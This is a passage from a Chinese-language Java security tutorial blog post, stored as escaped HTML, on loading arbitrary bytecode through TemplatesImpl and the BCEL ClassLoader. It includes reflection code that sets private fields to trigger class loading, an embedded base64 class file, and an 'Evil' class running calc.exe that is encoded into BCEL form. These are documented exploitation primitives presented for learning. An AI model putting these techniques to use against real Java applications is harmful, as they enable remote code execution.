data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-233500-24-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-233500-24-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:736px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5b83\u6ca1\u6709\u58f0\u660e\u5b9a\u4e49\u57df\uff0c\u6240\u4ee5\u4ece\u7236\u7c7b\u7684 protected \u53d8\u6210\u4e86\u73b0\u5728\u7684 default\uff0c\u53ef\u4ee5\u88ab\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684\u7c7b\u6216\u5176\u5b50\u7c7b\u7684\u5bf9\u8c61\u8c03\u7528\uff0c\u6211\u4eec\u56de\u6eaf\u4e00\u4e0b\u8c03\u7528\u94fe\uff0c\u9996\u5148\u53ef\u4ee5\u770b\u5230\u4e00\u4e2a<code>TemplatesImpl#defineTransletClasses()<\/code>\uff0c\u53ef\u60dc\u662fprivate\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-234709-24-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-234709-24-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:690px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u518d\u5f80\u56de\u8ddf\uff0c\u53ef\u4ee5\u770b\u5230 getTransletInstance \u8c03\u7528\u4e86 defineTransletClasses \uff0c\u53ef\u60dc\u8fd8\u662f\u4e00\u4e2aprivate\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-235458-24-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-235458-24-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:676px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4e00\u4e2apublic\u7684newTransFormer\u7684\u8c03\u7528\u4e86 getTransletInstance\uff0c\u8fd9\u73a9\u610f\u513f\u5c31\u80fd\u5728\u5916\u9762\u88ab\u8c03\u7528\u4e86 \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-234310-24-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250424-234310-24-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:693px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6574\u5408\u4e00\u4e0b\uff0c\u73b0\u5728\u7684\u94fe\u5b50\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TemplatesImpl#newTransformer() -&gt; TemplatesImpl#getTransletInstance() -&gt; \nTemplatesImpl#defineTransletClasses()-&gt; TransletClassLoader#defineClass()<\/code><\/pre>\n\n\n\n<p>\u90a3\u600e\u4e48\u6784\u9020poc\u5462\uff0c\u6211\u4eec\u5f80\u56de\u770b\u770b\u600e\u4e48\u4f20\u5165\u6211\u4eec\u7684\u6570\u636e\uff0c\u9996\u5148defineClass\u53ea\u9700\u8981\u628acode\u4f20\u8fdb\u53bb\u5c31\u884c\u4e86\uff0c\u8fd9\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u800c\u56de\u5230 <code>defineTransletClasses<\/code> \u8fd9\u91cc\uff0c\u6d89\u53ca\u5230\u4e86 <code>TransletClassLoader<\/code> \u5bf9\u8c61\u7684\u521b\u5efa\uff0c\u56e0\u6b64\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5fc5\u987b\u4f20\u5165\u5426\u5219\u4f1a\u62a5\u9519\uff0c\u6211\u4eec\u4f20\u4e2anull\u5c31\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-154859-25-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-154859-25-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:780px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u5f97\u5199\u4e2a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>setFieldValue(templates,\"_tfactory\",new TransformerFactoryImpl());<\/code><\/pre>\n\n\n\n<p>\u4ece\u56fe\u91cc\u53ef\u4ee5\u770b\u5230 <code>defineClass<\/code> \u6267\u884c\u7684\u4ee3\u7801\u6765\u81ea\u4e8e <code>_bytecodes<\/code>\uff0c\u800c\u8fd9\u662f\u4e00\u4e2a\u53ef\u63a7\u7684\u79c1\u6709\u6210\u5458\u53d8\u91cf\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-155401-25-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-155401-25-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:508px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u7684\u4ee3\u7801\u5f97\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>setFieldValue(templates,\"_bytecodes\",new byte&#91;]&#91;]{bytes});<\/code><\/pre>\n\n\n\n<p>\u518d\u5f80\u56de\u8ddf\u53ef\u4ee5\u770b\u5230 <code>getTransletInstance<\/code> \u8fd9\u91cc\u8fd8\u5fc5\u987b\u6ee1\u8db3_name\u4e0d\u4e3anull\uff0c\u5426\u5219\u76f4\u63a5return null\u4e86\u5c31\u4e0d\u8d70\u4e0b\u9762\u7684 <code>defineTransletClasses<\/code> \u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-155624-25-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-155624-25-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:781px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u5f97\u7ed9_name\u968f\u4fbf\u8bbe\u4e2a\u503c\u4fdd\u8bc1\u4ed6\u4e0d\u4e3a\u7a7a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>setFieldValue(templates,\"_name\",\"test\");<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u6211\u4eec\u73b0\u5728\u60f3\u76f4\u63a5\u8dd1\u6211\u4eec\u7684\u5e8f\u5217\u5316\u6570\u636e\u5176\u5b9e\u662f\u8dd1\u4e0d\u901a\u7684\uff0c\u56e0\u4e3a <code>TemplatesImpl<\/code> \u52a0\u8f7d\u7684\u5b57\u8282\u7801\u5bf9\u5e94\u7684\u7c7b\u5fc5\u987b\u662f&nbsp;<code>com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet<\/code>&nbsp;\u7684\u5b50\u7c7b\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u6784\u9020\u4e00\u4e2a\u7ee7\u627f\u4e86 <code>AbstractTranslet<\/code> \u7684\u7c7b\uff0c\u5728\u4ed6\u7684\u6784\u9020\u65b9\u6cd5\u91cc\u53bb\u5199\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\n\npublic class TempClass extends AbstractTranslet {\n    @Override\n    public void transform(DOM document, SerializationHandler&#91;] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n\n    public TempClass() {\n        super();\n        System.out.println(\"Hello Fushuling\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u7528javac TempClass.java\u628a\u5b83\u7f16\u8bd1\u6210TempClass.class\uff0c\u6700\u540e\u5199\u4e2a\u4ee3\u7801\u628a\u5b83\u8f6c\u6210base64\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Base64;\n\npublic class BytecodeToBase64 {\n    public static void main(String&#91;] args) throws Exception {\n        \/\/ \u8bfb\u53d6\u5b57\u8282\u7801\u6587\u4ef6\n        Path path = Paths.get(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\classExample\\\\TempClass.class\");\n        byte&#91;] bytecode = Files.readAllBytes(path);\n\n        \/\/ \u5c06\u5b57\u8282\u7801\u8f6c\u6362\u4e3aBase64\u683c\u5f0f\u5b57\u7b26\u4e32\n        String base64 = Base64.getEncoder().encodeToString(bytecode);\n\n        \/\/ \u8f93\u51faBase64\u683c\u5f0f\u5b57\u7b26\u4e32\n        System.out.println(base64);\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7528\u8fd9\u4e2a\u83b7\u5f97\u7684base64\u586b\u5145\u6211\u4eec\u7684\u5b57\u8282\u7801\u6570\u636e\uff0c\u6700\u540e\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\n\nimport java.lang.reflect.Field;\nimport java.util.Base64;\n\npublic class TemplatesImplTest {\n    public static void main(String&#91;] args) throws Exception {\n        byte&#91;] bytes = Base64.getDecoder().decode(\"yv66vgAAADQALAoABgAdCQAeAB8IACAKACEAIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAYTGNsYXNzRXhhbXBsZS9UZW1wQ2xhc3M7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwAGQAaBwAmDAAnACgBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwApDAAqACsBABZjbGFzc0V4YW1wbGUvVGVtcENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAA\/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADQALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAABUABAAWAAwAFwALAAAADAABAAAADQAMAA0AAAABABsAAAACABw=\");\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates, \"_bytecodes\", new byte&#91;]&#91;]{bytes});\n        setFieldValue(templates, \"_name\", \"test\");\n        setFieldValue(templates, \"_tfactory\", new TransformerFactoryImpl());\n        templates.newTransformer();\n    }\n\n    \/\/\u5229\u7528\u53cd\u5c04\u7ed9\u79c1\u6709\u53d8\u91cf\u8d4b\u503c\u5982\u4e0b\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-161004-25-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-161004-25-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:759px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528BCEL ClassLoader\u52a0\u8f7d\u5b57\u8282\u7801<\/h2>\n\n\n\n<p><strong>BCEL\uff08Byte Code Engineering Library\uff09<\/strong> \u662f Apache \u63d0\u4f9b\u7684\u4e00\u4e2a\u5f3a\u5927\u7684\u5f00\u6e90\u5e93\uff0c\u7528\u4e8e\u5206\u6790\u3001\u521b\u5efa\u548c\u4fee\u6539 Java \u5b57\u8282\u7801\uff08.class \u6587\u4ef6\uff09\uff0c\u4e0d\u9700\u8981\u6e90\u4ee3\u7801\u5c31\u80fd\u64cd\u4f5c Java \u7c7b\u6587\u4ef6\u3002<\/p>\n\n\n\n<p>BCEL \u53ef\u4ee5\u88ab\u770b\u4f5c\u662f\u4e00\u4e2a\u201cJava \u5b57\u8282\u7801\u7f16\u8f91\u5668\u201d\uff0c\u5b83\u5141\u8bb8\u4f60\u5728\u8fd0\u884c\u524d\u6216\u8fd0\u884c\u65f6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8bfb\u53d6 <code>.class<\/code> \u6587\u4ef6<\/li>\n\n\n\n<li>\u4fee\u6539\u5176\u4e2d\u7684\u65b9\u6cd5\u3001\u5b57\u6bb5\u3001\u5b57\u8282\u7801\u6307\u4ee4<\/li>\n\n\n\n<li>\u751a\u81f3\u52a8\u6001\u751f\u6210\u65b0\u7684\u7c7b<\/li>\n<\/ul>\n\n\n\n<p>\u5e38\u88ab\u7528\u4e8e\u5b57\u8282\u7801\u6ce8\u5165\/\u63d2\u6869\u3001\u9759\u6001\u5206\u6790\u7b49\u7b49\uff0cBCEL \u63d0\u4f9b\u4e86\u51e0\u4e2a\u6838\u5fc3\u7c7b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>InstructionFactory<\/code>: \u5feb\u901f\u521b\u5efa\u5404\u79cd\u5b57\u8282\u7801\u6307\u4ee4\u3002<\/li>\n\n\n\n<li><code>ClassParser<\/code>: \u8bfb\u53d6 <code>.class<\/code> \u6587\u4ef6\u5e76\u751f\u6210 <code>JavaClass<\/code> \u5bf9\u8c61\u3002<\/li>\n\n\n\n<li><code>JavaClass<\/code>: \u8868\u793a\u4e00\u4e2a\u7c7b\uff0c\u5305\u542b\u65b9\u6cd5\u3001\u5b57\u6bb5\u7b49\u4fe1\u606f\u3002<\/li>\n\n\n\n<li><code>MethodGen<\/code>: \u7528\u4e8e\u6784\u9020\u6216\u4fee\u6539\u65b9\u6cd5\u3002<\/li>\n\n\n\n<li><code>InstructionList<\/code>: \u7ba1\u7406\u4e00\u4e2a\u65b9\u6cd5\u4f53\u91cc\u7684\u5b57\u8282\u7801\u6307\u4ee4\u96c6\u5408\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u6bd4\u5982\u5c31\u62ff\u4e0a\u4e00\u8282\u91cc\u6211\u4eec\u7f16\u8bd1\u51fa\u6765\u7684Temp.class\u4e3a\u4f8b\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 BCEL \u76f4\u63a5\u8bfb\u53d6\u8fd9\u4e2aclass\uff0c\u83b7\u53d6\u4ed6\u7684\u7c7b\u540d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.bcel.internal.classfile.ClassParser;\nimport com.sun.org.apache.bcel.internal.classfile.JavaClass;\n\npublic class ReadClass {\n    public static void main(String&#91;] args) throws Exception {\n        ClassParser parser = new ClassParser(\"C:\\\\Users\\\\24254\\\\Desktop\\\\java\u7b14\u8bb0\\\\java-top-speed\\\\src\\\\classExample\\\\TempClass.class\");\n        JavaClass clazz = parser.parse();\n        System.out.println(\"\u7c7b\u540d: \" + clazz.getClassName());\n        clazz.getMethods(); \/\/ \u53ef\u4ee5\u8fdb\u4e00\u6b65\u904d\u5386\u65b9\u6cd5\u3001\u5b57\u6bb5\u7b49\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-162159-25-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-162159-25-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:705px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528BCEL \u63d0\u4f9b\u7684 Repository \u5c06\u4e00\u4e2aJava Class \u5148\u8f6c\u6362\u6210\u539f\u751f\u5b57\u8282\u7801\uff0c\u6216\u8005\u76f4\u63a5\u4f7f\u7528javac\u547d\u4ee4\u6765\u7f16\u8bd1java\u6587\u4ef6\u751f\u6210\u5b57\u8282\u7801\uff0c\u7136\u540e\u4f7f\u7528 Utility \u7528\u4e8e\u5c06\u539f\u751f\u7684\u5b57\u8282\u7801\u8f6c\u6362\u6210BCEL\u683c\u5f0f\u7684\u5b57\u8282\u7801\uff0c\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\npublic class Evil {\n    public void exec() {\n        try {\n            Runtime.getRuntime().exec(\"calc.exe\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u7528javac Evil.java\u7f16\u8bd1\u6210Evil.class\uff0c\u7136\u540e\u6211\u4eec\u5c06\u539f\u751f\u7684\u5b57\u8282\u7801\u8f6c\u6362\u6210BCEL\u683c\u5f0f\u7684\u5b57\u8282\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package classExample;\n\nimport com.sun.org.apache.bcel.internal.Repository;\nimport com.sun.org.apache.bcel.internal.classfile.JavaClass;\nimport com.sun.org.apache.bcel.internal.classfile.Utility;\n\npublic class HelloBCEL {\n\n    public static void main(String&#91;] args) throws Exception {\n        encode();\n    }\n\n    protected static void encode() throws Exception {\n        JavaClass cls = Repository.lookupClass(classExample.Evil.class);\n        String code = Utility.encode(cls.getBytes(), true);\n        System.out.println(\"== BCEL \u7f16\u7801\u5b57\u8282\u7801 ==\");\n        System.out.println(\"$$BCEL$$\" + code);  \/\/ \u52a0\u4e0a\u524d\u7f00\u624d\u80fd\u88ab\u8bc6\u522b\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-165407-25-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250425-165407-25-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:818px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u7528 BCEL ClassLoader  